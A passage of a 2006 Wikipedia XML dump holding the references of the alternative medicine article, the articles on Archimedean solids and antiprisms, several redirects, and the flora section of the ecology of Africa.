* [http://www.catchword.com/titles/10755535.htm The journal of alternative and complementary medicine : research on paradigm, practice, and policy.] New York, NY : Mary Ann Liebert, Inc., c1995- NLM ID: [http://locatorplus.gov/cgi-bin/Pwebrecon.cgi?DB=local&amp;v2=1&amp;ti=1,1&amp;Search_Arg=9508124&amp;Search_Code=0359&amp;CNT=20&amp;SID=1 9508124]
* Journal of alternative &amp; complementary medicine. London : Argus Health Publications, c1989- NLM ID: [http://locatorplus.gov/cgi-bin/Pwebrecon.cgi?DB=local&amp;v2=1&amp;ti=1,1&amp;Search_Arg=9883124&amp;Search_Code=0359&amp;CNT=20&amp;SID=1 9883124]
*[http://www.liebertpub.com/publication.aspx?pub_id=26 Journal for Alternative and Complementary Medicine]
*[http://www.sram.org/index.html Scientific Review of Alternative Medicine (SRAM)]


=== Research articles cited in the text ===

# Astin JA  &quot;Why patients use alternative medicine: results of a national study&quot; ''JAMA'' 1998; '''279'''(19): 1548-1553
# Barnes P, Powell-Griner E, McFann K, Nahin R. &quot;Complementary and Alternative Medicine Use Among Adults: United States, 2002.&quot; ''Advanced data from vital health and statistics'' 2004; Hyattsville, Maryland:NCHS [http://nccam.nih.gov/news/report.pdf Online]
# Benedetti F, Maggi G, Lopiano L. &quot;Open Versus Hidden Medical Treatments: The Patient's Knowledge About a Therapy Affects the Therapy Outcome.&quot; ''Prevention &amp; Treatment'', 2003; '''6'''(1), [http://journals.apa.org/prevention/volume6/pre0060001a.html APA online]
# Berga SL, Marcus MD, Loucks TL. &quot;Recovery of ovarian activity in women with functional hypothalamic amenorrhea who were treated with cognitive behavior therapy.&quot; ''Fertility and Sterility'' 2003; ''80''(4): 976-981 [http://www.fertstert.org/article/PIIS0015028203011245/abstract Abstract]
# Downing AM, Hunter DG. &quot;Validating clinical reasoning: a question of perspective, but whose perspective?&quot; ''Man Ther'', 2003; '''8'''(2): 117-9. PMID 12890440  [http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6WN0-487KJXH-3&amp;_coverDate=05%2F31%2F2003&amp;_alid=110095405&amp;_rdoc=1&amp;_fmt=&amp;_orig=search&amp;_qd=1&amp;_cdi=6948&amp;_sort=d&amp;view=c&amp;_acct=C000050221&amp;_version=1&amp;_urlVersion=0&amp;_userid=10&amp;md5=8da5eb9e5359691e31c6cee489724da8 Manual Therapy Online]
# Eisenberg DM.  &quot;Advising patients who seek alternative medical therapies.&quot;  ''Ann Intern Med''  1997; '''127''':61-69. PMID 9214254
# Eisenberg, DM, Davis RB, Ettner SL &quot;Trends in alternative medicine use in the United States 1990-1997.&quot;  ''JAMA'', 1998; '''280''':1569-1575. PMID 9820257
# Ernst E. &quot;Obstacles to research in complementary and alternative medicine.&quot; '''Medical Journal of Australia'', 2003; '''179'''(6): 279-80. PMID 12964907 http://www.mja.com.au/public/issues/179_06_150903/ern10442_fm-1.html MJA online]
# Fenton MV, Morris DL. &quot;The integration of holistic nursing practices and complementary and alternative modalities into curricula of schools of nursing.&quot; ''Altern Ther Health Med,'' 2003; '''9'''(4):62-7. PMID 12868254
# Flanagin A, Carey LA, Fontanarosa PB. &quot;Prevalence of articles with honorary authors and ghost authors in peer-reviewed medical journals.&quot; ''JAMA'', 1998; '''280'''(3):222-4. [http://jama.ama-assn.org/cgi/content/full/280/3/222 Full text]
# Gonsalkorale WM, Miller V, Afzal A, Whorwell PJ. &quot;Long term benefits of hypnotherapy for irritable bowel syndrome.&quot; ''Gut'', 2003; '''52'''(11):1623-9. PMID 14570733
# Gunn IP. &quot;A critique of Michael L. Millenson's book, Demanding medical excellence: doctors and accountability in the information age, and its relevance to CRNAs and nursing.&quot; ''AANA J'', 1998 '''66'''(6):575-82. Review. PMID 10488264
# Kleijnen J, Knipschild P, ter Riet G. &quot;Clinical trials of homoeopathy.&quot; ''BMJ'', 1991; '''302''':316-23. Erratum in: ''BMJ'', 1991;'''302''':818. PMID 1825800 
# Larkin M. &quot;Whose article is it anyway?&quot; ''Lancet'', 1999; '''354''':136. [http://www.thelancet.com/journal/vol354/iss9173/full/llan.354.9173.news.3708.1 Editorial]
# Linde K, Clausius N, Ramirez G. &quot;Are the clinical effects of homeopathy placebo effects? A meta-analysis of placebo-controlled trials.&quot; ''Lancet'', 1997; '''350''': 834-43. Erratum in: Lancet 1998 Jan 17;351(9097):220. PMID 9310601
# Michalsen A, Ludtke R, Buhring M. &quot;Thermal hydrotherapy improves quality of life and hemodynamic function in patients with chronic heart failure.&quot; ''Am Heart J'', 2003; '''146'''(4):E11. PMID 14564334
# Saxon DW, Tunnicliff G, Brokaw JJ, Raess BU. &quot;Status of complementary and alternative medicine in the osteopathic medical school curriculum.&quot; ''J Am Osteopath Assoc'' 2004; '''104'''(3):121-6. PMID 15083987
# Snyderman R, Weil AT. &quot;Integrative medicine: bringing medicine back to its roots.&quot; ''Arch Intern Med'' 2002; '''162''':395&amp;#8211;397. 
# Tonelli MR. &quot;The limits of evidence-based medicine.&quot; ''Respir Care'', 2001; '''46'''(12): 1435-40; discussion 1440-1. Review. PMID 11728302 [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11863470 PMID: 11863470]
# Vickers A. &quot;Alternative Cancer Cures: &quot;Unproven&quot; or &quot;Disproven&quot;?&quot; ''CA Cancer J Clin'' 2004; '''54''': 110-118. [http://caonline.amcancersoc.org/cgi/content/full/54/2/110 Online]
# Wetzel MS, Eisenberg DM, Kaptchuk TJ. &quot;Courses involving complementary and alternative medicine at US medical schools.&quot; ''JAMA'' 1998; '''280'''(9):784 -787. PMID 9729989 
# Zalewski Z. &quot;Importance of Philosophy of Science to the History of Medical Thinking.&quot; ''CMJ'' 1999; '''40''': 8-13. [http://www.bsb.mefst.hr/cmj/1999/4001/400102.htm CMJ online]

=== Other works that discuss alternative medicine ===

* Diamond, J. ''Snake Oil and Other Preoccupations'' 2001 (ISBN 0099428334), foreword by Richard Dawkins reprinted in Dawkins, R. ''A Devil's Chaplain'' 2003 (ISBN 0753817500).
* [http://www.cwru.edu/med/epidbio/mphp439/Sources_of_Healthcare.htm WHERE DO AMERICANS GO FOR HEALTHCARE?] by Anna Rosenfeld, Case Western Reserve University,  Cleveland, Ohio, USA.
*Planer, Felix E. 1988 ''Superstition'' Revised ed. Buffalo, New York: Prometheus Books
*Hand, Wayland D. 1980 ''Folk Magical Medicine and Symbolism in the West'' in ''Magical Medicine'' Berkeley: University of California Press, pp. 305-319. 
*Phillips Stevens Jr. Nov./Dec. 2001 ''Magical Thinking in Complementary and Alternative Medicine'' Skeptical Inquirer Magazine, Nov.Dec/2001
* Illich I. Limits to Medicine. Medical Nemesis: The expropriation of Health. Penguin Books, 1976.
* Dillard, James and Terra Ziporyn.  ''Alternative Medicine for Dummies''.  Foster City, CA:  IDG Books Worldwide, Inc., 1998.

==External links==

===General information===
* [http://nccam.nih.gov/ The National Center for Complementary and Alternative Medicine] - US National Institutes of Health
* [http://www.i-c-m.org.uk/ Institute for Complementary Medicine (ICM), UK] - includes article &quot;What is Complementary Medicine?&quot;
*[http://www.nlm.nih.gov/nccam/camonpubmed.html Complementary and Alternative Medicine on PubMed] - Alternative Medicine Research Database
* Web pages for [http://www.open2.net/alternativemedicine/index.html new BBC/Open University television series &quot;Alternative Medicine&quot;] that examines the evidence scientifically.

===Advocacy===
*[http://www.noah-health.org/en/alternative/ Consumer focused alternative medicine information] - in English and Spanish
*[http://www.rosenthal.hs.columbia.edu/ Complementary and alternative medicine information] - Columbia University supported and ad-free
*[http://www.wholehealthmd.com/ WholeHealth Networks' CAM education website] - created by practicing MD's
*[http://goldbamboo.com/ Traditional and Alternative Medicine] - both clinical and alternative health perspectives
*[http://chinese-school.netfirms.com/Chinese-medicine.html Alternative Medicine: Chinese medicine]
*[http://www.hands-on-london.com Alternative Medicine: Osteopathy]
*[http://circleofhealers.com Circle of Healers] - Alternative Medicine News and Resources
*[http://tutorials.naturalhealthperspective.com/history.html A History of Western Natural Healing Practices]
*[http://autopenhosting.org/whatismedicine/ What is Medicine?] - Historical perspective of various modes of medicine
*[http://www.dailystar.com/dailystar/printDS/6529.php &quot;Weil's integrative medicine gathering steam&quot;], by Carla McClain, ''Arizona Daily Star'', Published: 01-20-2004
*[http://health.dailynewscentral.com/content/view/0001181/31/ Alternative Medicine Becoming Mainstream]
*[http://www.alternativehealth.co.uk/ Alternative Health &amp;amp; Complementary Medicine UK Directory]
*[http://www.althealthinfo.com/ Alternative Medicine and Natural Health] Information and news on alternative medicine
*[http://www.clickabove.com/alternative.htm Comprehensive list of Alternative Medicine Websites]

===Critiques===
*[http://www.skepdic.com/tialtmed.html Skeptic's Dictionary: Alternative Medicine]
*[http://www.canoe.ca/HealthAlternative/home.html Alternative medicine: A Skeptical Look]
*[http://www.quackwatch.org/index.html Quackwatch: Your Guide to Health Fraud, Quackery, and Intelligent Decisions]
*[http://podbazaar.com/object/program/read/126100789566373908?k=29E23E6803DC7B878CFD8141B78AD53C Shreekant Gokhale's Podcasts Challenging Alternative Medicine.]

&lt;!-- Categorization --&gt;
[[Category:Alternative medicine|*0]]
[[Category:Pseudoscience]]
[[Category:Protoscience]]

&lt;!-- Localization --&gt;

[[ar:طب بديل]]
[[da:Naturmedicin]]
[[de:Alternativmedizin]]
[[et:Alternatiivmeditsiin]]
[[es:Medicina alternativa]]
[[fr:Médecine parallèle]]
[[ko:대체의학]]
[[it:Medicina alternativa]]
[[he:רפואה אלטרנטיבית]]
[[nl:Alternatieve geneeswijze]]
[[ja:代替医療]]
[[no:Alternativ medisin]]
[[pl:Medycyna niekonwencjonalna]]
[[pt:Medicina alternativa]]
[[ru:Альтернативная медицина]]
[[fi:Vaihtoehtoinen hoitomuoto]]
[[sv:Alternativmedicin]]
[[uk:Альтернативна медицина]]</text>
    </revision>
  </page>
  <page>
    <title>Archimedean solid</title>
    <id>1847</id>
    <revision>
      <id>38475065</id>
      <timestamp>2006-02-06T16:09:33Z</timestamp>
      <contributor>
        <username>Joseolgon</username>
        <id>577139</id>
      </contributor>
      <text xml:space="preserve">In [[geometry]] an '''Archimedean solid''' or [[semiregular polyhedra|'''semi-regular solid''']] is  a semi-regular [[convex]] [[polyhedron]] composed of two or more types of [[polygon|regular polygon]] meeting in identical [[vertex|vertices]]. They are distinct from the [[Platonic solid]]s, which are composed of only one type of polygon meeting in identical vertices, and from the [[Johnson solid]]s, whose regular polygonal faces do not meet in identical vertices. 

==Origin of name==

The Archimedean solids take their name from [[Archimedes]], who discussed them in a now-lost work. During the [[Renaissance]], [[artist]]s and [[mathematician]]s valued ''pure forms'' and rediscovered all of these forms. This search was completed around [[1619]] by [[Johannes Kepler]], who defined prisms, antiprisms, and the non-convex solids known as [[Kepler-Poinsot solid]]s. 

==Classification==

There are 13 Archimedean solids (15 if the [[mirror image]]s of two [[chirality (mathematics)|enantiomorph]]s, see below, are counted separately). Here the ''vertex configuration'' refers to the type of regular polygons that meet at any given vertex. For example, a vertex configuration of (4,6,8) means that a square, hexagon, and octagon meet at a vertex (with the order taken to be clockwise around the vertex).

The number of vertices is 720° divided by the vertex [[Defect (geometry)|angle defect]].

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|-
! Name
! picture
! colspan=2|Faces
! Edges
! Vertices
! [[Vertex configuration]]
! [[Symmetry group]]

|-
| [[truncated tetrahedron]]
| [[image:truncatedtetrahedron.jpg|60px|Truncated tetrahedron]]&lt;br /&gt;&lt;small&gt;([[:image:truncatedtetrahedron.gif|Video]])&lt;/small&gt;
| 8 || 4 triangles&lt;br&gt;4 [[hexagon]]s || 18
| 12
| 3.6.6 || T&lt;sub&gt;d&lt;/sub&gt;

|-
| [[cuboctahedron]]
| [[image:cuboctahedron.jpg|60px|Cuboctahedron]]&lt;br /&gt;&lt;small&gt;([[:image:cuboctahedron.gif|Video]])&lt;/small&gt;
| &amp;nbsp;14&amp;nbsp; || 8 [[triangle (geometry)|triangle]]s&lt;br&gt;6 [[square (geometry)|square]]s
| 24 || 12 || 3.4.3.4
| O&lt;sub&gt;h&lt;/sub&gt;
|-
| [[truncated cube]]&lt;br /&gt;or truncated hexahedron
| [[image:truncatedhexahedron.jpg|60px|Truncated hexahedron]]&lt;br /&gt;&lt;small&gt;([[:image:truncatedhexahedron.gif|Video]])&lt;/small&gt;
| 14 || 8 triangles&lt;br&gt;6 [[octagon]]s || 36
| 24
| 3.8.8 || O&lt;sub&gt;h&lt;/sub&gt;
|-
| [[truncated octahedron]]
| [[image:truncatedoctahedron.jpg|60px|Truncated octahedron]]&lt;br /&gt;&lt;small&gt;([[:image:truncatedoctahedron.gif|Video]])&lt;/small&gt;
| 14 || 6 squares&lt;br&gt;8 hexagons || 36 || 24
| 4.6.6 || O&lt;sub&gt;h&lt;/sub&gt;
|-
| [[rhombicuboctahedron]]&lt;br /&gt;or small rhombicuboctahedron
| [[image:rhombicuboctahedron.jpg|60px|Rhombicuboctahedron]]&lt;br /&gt;&lt;small&gt;([[:image:rhombicuboctahedron.gif|Video]])&lt;/small&gt;
| 26 ||8 triangles&lt;br&gt;18 squares || 48 || 24
| 3.4.4.4 || O&lt;sub&gt;h&lt;/sub&gt;
|-
| [[truncated cuboctahedron]]&lt;br /&gt;or great rhombicuboctahedron
| [[image:truncatedcuboctahedron.jpg|60px|Truncated cuboctahedron]]&lt;br /&gt;&lt;small&gt;([[:image:truncatedcuboctahedron.gif|Video]])&lt;/small&gt;
| 26 || 12 squares&lt;br&gt;8 hexagons&lt;br&gt;6 octagons
| 72 || 48 || 4.6.8 || O&lt;sub&gt;h&lt;/sub&gt;
|-
| [[snub cube]]&lt;br /&gt;or snub cuboctahedron&lt;br&gt;(2 [[chirality (mathematics)|chiral]] forms)
| [[image:snubhexahedronccw.jpg|60px|Snub hexahedron (Ccw)]]&lt;br /&gt;&lt;small&gt;([[:image:snubhexahedronccw.gif|Video]])&lt;/small&gt;&lt;br /&gt;[[image:snubhexahedroncw.jpg|60px|Snub hexahedron (Cw)]]&lt;br /&gt;&lt;small&gt;([[:image:snubhexahedroncw.gif|Video]])&lt;/small&gt;
| 38 ||32 triangles&lt;br&gt;6 squares || 60 || 24
| 3.3.3.3.4
| O

|-
| [[icosidodecahedron]]
| [[image:icosidodecahedron.jpg|60px|Icosidodecahedron]]&lt;br /&gt;&lt;small&gt;([[:image:icosidodecahedron.gif|Video]])&lt;/small&gt;
| 32 || 20 triangles&lt;br&gt;12 [[pentagon]]s
| 60 || 30
| 3.5.3.5 || I&lt;sub&gt;h&lt;/sub&gt;

|-
| [[truncated dodecahedron]]
| [[image:truncateddodecahedron.jpg|60px|Truncated dodecahedron]]&lt;br /&gt;&lt;small&gt;([[:image:truncateddodecahedron.gif|Video]])&lt;/small&gt;
| 32 ||20 triangles&lt;br&gt;12 [[decagon]]s || 90
| 60
| 3.10.10 || I&lt;sub&gt;h&lt;/sub&gt;
|-
| [[truncated icosahedron]]&lt;br /&gt;or [[Fullerene|buckyball]]&lt;BR&gt;or [[Football (ball)|football]]/soccer ball
| [[image:truncatedicosahedron.jpg|60px|Truncated icosahedron]]&lt;br /&gt;&lt;small&gt;([[:image:truncatedicosahedron.gif|Video]])&lt;/small&gt;
| 32 || 12 pentagons&lt;br&gt;20 hexagons || 90
| 60
| 5.6.6 || I&lt;sub&gt;h&lt;/sub&gt;
|-
| [[rhombicosidodecahedron]]&lt;br /&gt;or small rhombicosidodecahedron
| [[image:rhombicosidodecahedron.jpg|60px|Rhombicosidodecahedron]]&lt;br /&gt;&lt;small&gt;([[:image:rhombicosidodecahedron.gif|Video]])&lt;/small&gt;
| 62 || 20 triangles&lt;br&gt;30 squares&lt;br&gt;12 pentagons
| 120 || 60 || 3.4.5.4
| I&lt;sub&gt;h&lt;/sub&gt;
|-
| [[truncated icosidodecahedron]]&lt;br /&gt;or great rhombicosidodecahedron
| [[image:truncatedicosidodecahedron.jpg|60px|Truncated icosidodecahedron]]&lt;br /&gt;&lt;small&gt;([[:image:truncatedicosidodecahedron.gif|Video]])&lt;/small&gt;
| 62 ||30 squares&lt;br&gt;20 hexagons&lt;br&gt;12 decagons
| 180 || 120 || 4.6.10
| I&lt;sub&gt;h&lt;/sub&gt;

|-
| [[snub dodecahedron]]&lt;br /&gt;or snub icosidodecahedron&lt;br&gt;(2 [[chirality (mathematics)|chiral]] forms)
| [[image:snubdodecahedronccw.jpg|60px|Snub dodecahedron (Ccw)]]&lt;br /&gt;&lt;small&gt;([[:image:snubdodecahedronccw.gif|Video]])&lt;/small&gt;&lt;br /&gt;[[image:snubdodecahedroncw.jpg|60px|Snub dodecahedron (Cw)]]&lt;br&gt;&lt;small&gt;([[:image:snubdodecahedroncw.gif|Video]])&lt;/small&gt;
| 92 || 80 triangles&lt;br&gt;12 pentagons || 150
| 60
| 3.3.3.3.5
| I
|}

The cuboctahedron and icosidodecahedron are edge-uniform and are called quasi-regular.

The snub cube and snub dodecahedron are known as ''chiral'', as they come in a left-handed (Latin: levomorph or laevomorph) form and right-handed (Latin: dextromorph) form. When something comes in multiple forms which are each other's three-dimensional [[mirror image]], these forms may be called enantiomorphs.  (This nomenclature is also used for the forms of [[chemical compound]]s).

The [[dual polyhedron|duals]] of the Archimedean solids are called the [[Catalan solid|Catalan solids]].  Together with the [[bipyramid|bipyramids]] and [[trapezohedron|trapezohedra]], these are the face-uniform solids with regular vertices.

== See also ==
* [[List of uniform polyhedra]]

==External links==
*[http://www.software3d.com/Archimedean.html Paper models of Archimedean solids]
*[http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
*[http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra
*[http://www.cs.utk.edu/~plank/plank/origami/penultimate/intro.html Penultimate Modular Origami]
*[http://ibiblio.org/e-notes/3Dapp/Convex.htm Interactive 3D polyhedra] in Java

[[Category:Archimedean solids]]
[[Category:Polyhedra]]
[[es:sólidos de Arquímedes]]
[[de:Archimedischer Körper]]
[[ko:아르키메데스의 다면체]]
[[it:Solido archimedeo]]
[[nl:Halfregelmatig veelvlak]]
[[pl:Wielościan półforemny]]
[[pt:Sólidos de Arquimedes]]
[[ru:Полуправильный многогранник]]
[[zh:半正多面體]]</text>
    </revision>
  </page>
  <page>
    <title>African Languages</title>
    <id>1848</id>
    <revision>
      <id>15900310</id>
      <timestamp>2004-10-10T03:54:39Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[African languages]]</text>
    </revision>
  </page>
  <page>
    <title>Airbus Industrie</title>
    <id>1849</id>
    <revision>
      <id>15900311</id>
      <timestamp>2005-02-03T20:39:25Z</timestamp>
      <contributor>
        <username>ALoan</username>
        <id>63066</id>
      </contributor>
      <comment>#REDIRECT [[Airbus]]</comment>
      <text xml:space="preserve">#REDIRECT [[Airbus]]</text>
    </revision>
  </page>
  <page>
    <title>Antiprism</title>
    <id>1851</id>
    <revision>
      <id>42125228</id>
      <timestamp>2006-03-04T00:04:10Z</timestamp>
      <contributor>
        <username>Tomruen</username>
        <id>63601</id>
      </contributor>
      <comment>/* Star antiprisms */</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; bgcolor=&quot;#ffffff&quot; cellpadding=&quot;5&quot; align=&quot;right&quot; style=&quot;margin-left:10px&quot; width=&quot;250&quot;
!bgcolor=#e7dcc3 colspan=2|Set of uniform antiprisms
|-
|align=center colspan=2|[[image:antiprism17.jpg|240px|Heptadecagonal antiprism]]&lt;br /&gt;
|-
|bgcolor=#e7dcc3|Type||Antiprism
|-
|bgcolor=#e7dcc3|Faces||2 [[polygon|n-gon]]s, 2n [[triangle]]s
|-
|bgcolor=#e7dcc3|Edges||4n
|-
|bgcolor=#e7dcc3|Vertices||2n
|-
|bgcolor=#e7dcc3|[[Vertex configuration]]||3.3.3.n
|-
|bgcolor=#e7dcc3|[[Symmetry group]]||[[Symmetry_group#Three_dimensions|''D''&lt;sub&gt;''nd''&lt;/sub&gt;]]
|-
|bgcolor=#e7dcc3|[[Dual polyhedron]]||[[trapezohedron]]
|-
|bgcolor=#e7dcc3|Properties||convex, semi-regular (vertex-uniform)
|}
An ''n''-sided '''antiprism''' is a [[polyhedron]] composed of two parallel copies of some particular ''n''-sided [[polygon]], connected by an alternating band of [[triangle]]s.

Antiprisms are a subclass of the [[prismatoid]]s.

Antiprisms are similar to [[prism (geometry)|prism]]s except the bases are twisted relative to each other: the vertices are symmetrically staggered.

In the case of a regular ''n''-sided base, one usually considers the case where its copy is twisted by an angle 180°/n. Extra regularity is obtained by the line connecting the base centers being perpendicular to the base planes, making it a '''right antiprism'''. It has, apart from the base faces, 2''n'' isosceles triangles as faces. 

A '''[[Uniform_polyhedron|uniform]] antiprism''' has, apart from the base faces, 2''n'' equilateral triangles as faces. They form an infinite series of vertex-uniform polyhedra, as do the uniform prisms. For ''n''=2 we have as degenerate case the regular [[tetrahedron]].

== Forms ==
[[Image:Tetrahedron.png|80px]]
[[Image:Trigonal_antiprism.png|80px]]
[[Image:Square antiprism.png|80px]]
[[Image:Pentagonal antiprism.png|80px]]
[[Image:Hexagonal antiprism.png|80px]]
[[Image:Octagonal antiprism.png|80px]]
[[Image:Decagonal antiprism.png|80px]]
[[Image:Dodecagonal antiprism.png|80px]]

* (linear antiprism) [[Tetrahedron]] - 4 triangles - self dual
* (trigonal antiprism) [[Octahedron]] - 8 triangles - dual [[cube]]
* [[Square antiprism]] - 8 triangles, 2 squares - dual [[tetragonal trapezohedron]]
* [[Pentagonal antiprism]] - 10 triangles, 2 pentagons - dual [[pentagonal trapezohedron]]
* [[Hexagonal antiprism]] - 12 triangles, 2 hexagons - dual [[hexagonal trapezohedron]]
* ''Septagonal antiprism'' - 14 triangles, 2 septagons - dual [[septagonal trapezohedron]]
* [[Octagonal antiprism]] - 16 triangles, 2 octagons - dual [[octagonal trapezohedron]]
* ...
* [[Decagonal antiprism]] - 20 triangles, 2 decagons - dual [[decagonal trapezohedron]]
* ...
* [[Dodecagonal antiprism]] - 24 triangles, 2 dodecagons - dual [[dodecagonal trapezohedron]]
* ...
* '''n-agonal antiprism''' - 2n triangles, 2 n-agons - dual [[trapezohedron|n-agonal trapezohedron]]

If ''n''=3 then we only have triangles; we get the [[octahedron]], a particular type of right triangular antiprism which is also edge- and face-uniform, and so counts among the [[Platonic solid]]s.  The [[dual polyhedron|dual polyhedra]] of the antiprisms are the [[trapezohedron|trapezohedra]]. Their existence was first discussed and their name was coined by [[Johannes Kepler]].

== Cartesian coordinates ==
[[Cartesian coordinates]] for the vertices of a right antiprism with ''n''-gonal bases and isosceles triangles are
: &lt;math&gt;( \cos(k\pi/n), \sin(k\pi/n), (-1)^k a )\;&lt;/math&gt;
with ''k'' ranging from 0 to 2''n''-1; if the triangles are equilateral,
:&lt;math&gt;2a^2=\cos(\pi/n)-\cos(2\pi/n)\;&lt;/math&gt;.

== Symmetry ==
The [[symmetry group]] of a right ''n''-sided antiprism with regular base and isosceles side faces is ''D&lt;sub&gt;nd&lt;/sub&gt;'' of order 4''n'',  except in the case of a tetrahedron, which has the larger symmetry group '''T&lt;sub&gt;d&lt;/sub&gt;''' of order 24, which has three versions of ''D&lt;sub&gt;2d&lt;/sub&gt;'' as subgroups, and the octahedron, which has the larger symmetry group '''O&lt;sub&gt;d&lt;/sub&gt;''' of order 48, which has four versions of ''D&lt;sub&gt;3d&lt;/sub&gt;'' as subgroups.

The symmetry group contains [[inversion]] [[iff]] ''n'' is odd.

The [[rotation group]] is ''D&lt;sub&gt;n&lt;/sub&gt;'' of order 2''n'',  except in the case of a tetrahedron, which has the larger rotation group '''T''' of order 12, which has three versions of ''D&lt;sub&gt;2&lt;/sub&gt;'' as subgroups, and the octahedron, which has the larger rotation group '''O''' of order 24, which has four versions of ''D&lt;sub&gt;3&lt;/sub&gt;'' as subgroups.

== Star antiprisms ==

Uniform antiprisms can also be constructed on [[star polygon]]s: {''n''/''m''} = {5/2}, {7/3}, {7/4}, {8/3}, {9/2}, {9/4}, {10/3}...

For any [[coprime]] pair of integers ''n,m'' such that 2''m'' &lt; ''n'', there are two forms:
* a normal '''antiprism''' with vertex configuration ''3.3.3.n/m'';
* a '''crossed antiprism''' with vertex configuration ''3.3.3.n/(n-m)''.

{|
|align=center|[[Image:Pentagrammic antiprism.png|100px]]&lt;BR&gt;[[Pentagrammic antiprism|''3.3.3.5/2'']]
|align=center|[[Image:Pentagrammic crossed antiprism.png|100px]]&lt;BR&gt;[[Pentagrammic crossed-antiprism|''3.3.3.5/3'']]
|}

==External links==
*[http://www.software3d.com/Prisms.html Paper models of prisms and antiprisms]
*[http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
*[http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra
** [[VRML]] models [http://www.georgehart.com/virtual-polyhedra/alphabetic-list.html (George Hart)] [http://www.georgehart.com/virtual-polyhedra/vrml/octahedron.wrl &lt;3&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/square_antiprism.wrl &lt;4&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/pentagonal_antiprism.wrl &lt;5&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/hexagonal_antiprism.wrl &lt;6&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/heptagonal_antiprism.wrl &lt;7&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/octagonal_antiprism.wrl &lt;8&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/enneagonal_antiprism.wrl &lt;9&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/decagonal_antiprism.wrl &lt;10&gt;]


[[Category:Polyhedra]]
[[Category:Uniform polyhedra]]
[[Category:Prismatoid polyhedra]]

[[pl:Antygraniastos&amp;#322;up]]
[[pt:Antiprisma]]
[[ru:&amp;#1040;&amp;#1085;&amp;#1090;&amp;#1080;&amp;#1087;&amp;#1088;&amp;#1080;&amp;#1079;&amp;#1084;&amp;#1072;]]
[[ja:反角柱]]</text>
    </revision>
  </page>
  <page>
    <title>Ancient Greeks</title>
    <id>1852</id>
    <revision>
      <id>15900314</id>
      <timestamp>2004-11-18T17:33:02Z</timestamp>
      <contributor>
        <username>Didactohedron</username>
        <id>71041</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Ancient Greece]]</text>
    </revision>
  </page>
  <page>
    <title>Ecology of Africa</title>
    <id>1853</id>
    <revision>
      <id>40587451</id>
      <timestamp>2006-02-21T17:27:02Z</timestamp>
      <contributor>
        <username>Xerocs</username>
        <id>757355</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">===Flora===
The vegetation of [[Africa]] follows very closely the distribution of heat and moisture.  The northern and southern temperate zones have a flora distinct from that of the continent generally, which is tropical.  In the countries bordering the [[Mediterranean]] are groves of [[orange (fruit)|orange]]s and [[olive]] trees, evergreen [[oak]]s, [[cork oak|cork]] trees and [[pine]]s, intermixed with [[cupressus|cypresses]], [[myrtle]]s, [[arbutus]] and fragrant [[Erica|tree-heaths]].  

South of the [[Atlas mountains|Atlas]] range the conditions alter.  The zones of minimum rainfall have a very scanty flora, consisting of plants adapted to resist the great dryness.  Characteristic of the [[Sahara]] is the [[date palm]], which flourishes where other vegetation can scarcely maintain existence, while in the semidesert regions the [[acacia]] (whence is obtained gum-arabic) is abundant.  

The more humid regions have a richer vegetation; dense forest where the rainfall is greatest and variations of temperature least, conditions found chiefly on the tropical coasts, and in the west African equatorial basin with its extension towards the upper [[Nile]]; and [[savanna]] interspersed with trees on the greater part of the plateaus, passing as the desert regions are approached into a scrub vegetation consisting of thorny acacias, etc. Forests also occur on the humid slopes of mountain ranges up to a certain elevation. In the coast regions the typical tree is the [[mangrove]], which flourishes wherever the soil is of a [[swamp]] character.  

The dense [[forest]]s of West Africa contain, in addition to a great variety of [[hardwood]]s, two [[Arecaceae|palms]], ''Elaeis guincensis'' ([[oil palm]]) and ''Raphia vinifera'' ([[bamboo palm]]), not found, generally speaking, in the savanna regions. ''[[Bombax]]'' or silk-cotton trees attain gigantic proportions in the forests, which are the home of the india rubber-producing plants and of many valuable kinds of timber trees, such as [[odum]] (''Chlorophora excelsa''), [[ebony]], [[mahogany]] (''Khaya senegalensis''), [[Oldfieldia]] (''Oldfieldia africana'') and [[camwood]] (''Baphia nitida''). The climbing plants in the tropical forests are exceedingly luxuriant and the undergrowth or &quot;bush&quot; is extremely dense.  

In the savannas the most characteristic trees are the monkey bread tree or [[baobab]] (''Adanisonia digitata''), [[doom palm]] (''Hyphaene'') and [[euphorbia]]s. The [[coffee]] plant grows wild in such widely separated places as [[Liberia]] and southern [[Abyssinia]]. The higher mountains have a special flora showing close agreement over wide intervals of space, as well as affinities with the mountain flora of the eastern [[Mediterranean]], the [[Himalaya]] and [[Indo-China]].

In the swamp regions of north-east Africa [[papyrus]] and associated plants, including the soft-wooded [[ambach]], flourish in immense quantities, and little else is found in the way of vegetation. South Africa is largely destitute of forest save in the lower valleys and coast regions. Tropical flora disappears, and in the semi-desert plains the fleshy, leafless, contorted species of [[kapsia]]s, [[mesembryanthemum]]s, [[aloe]]s and other succulent plants make their appearance. There are, too, valuable timber trees, such as the [[Podocarpus|Yellow-wood]] (''Podocarpus elongatus''), [[stinkwood]] (''Ocotea''), [[sneezewood]] or [[Cape ebony]] (''Pteroxylon utile'') and ironwood. Extensive miniature woods of heaths are found in almost endless variety and covered throughout the greater part of the year with innumerable blossoms in which red is very prevalent. Of the grasses of Africa alfa is very abundant in the plateaus of the Atlas range.

===Fauna===
